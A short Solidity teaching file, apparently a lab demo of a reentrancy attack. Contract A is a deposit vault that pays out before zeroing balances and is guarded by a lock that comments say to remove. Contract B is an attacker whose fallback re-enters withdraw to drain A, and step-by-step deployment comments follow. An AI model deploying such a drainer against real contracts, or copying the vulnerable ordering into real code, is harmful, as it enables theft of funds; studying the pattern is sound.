//SPDX-License-Identifier:MIT

pragma solidity ^0.8.6;

contract A{

bool internal locked;

mapping(address=> uint) public balances;

function deposit() public payable{

balances[msg.sender]+=msg.value;

}

//comment the below function to implement reentrancy attack

modifier nonReentrant() {

require(!locked, "No re-entrancy");

locked = true;

\_;

locked = false;

}

//remove nonReentrant modifier to implement reentrancy attack

function withdraw() public nonReentrant{

uint256 bal=balances[msg.sender];

require(bal>0);

(bool sent,)=msg.sender.call{value:bal}("");

require(sent,"failure");

balances[msg.sender]=0;

}

function getBalance() public view returns(uint){

return address(this).balance;

}

}

contract B{

A public a;

constructor(address \_aAddress){

a=A(\_aAddress);

}

fallback() external payable{

if(address(a).balance>=1 ether){

a.withdraw();

}

}

function attack() external payable{

require(msg.value>=1 ether);

a.deposit{value: 1 ether}();

a.withdraw();

}

function getBalance() public view returns(uint){

return address(this).balance;

}

}

//step no 1 - deploy A smart contract

//step no 2- copy address of deployed A SC

//step no 3- deploy B smart contract using address of A SC

//step no 4- deposit 5 ether from 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 to SC

//step no 5- deposit 5 ether from 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db

//step no 6- attack A from 0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB by depositing 1 ether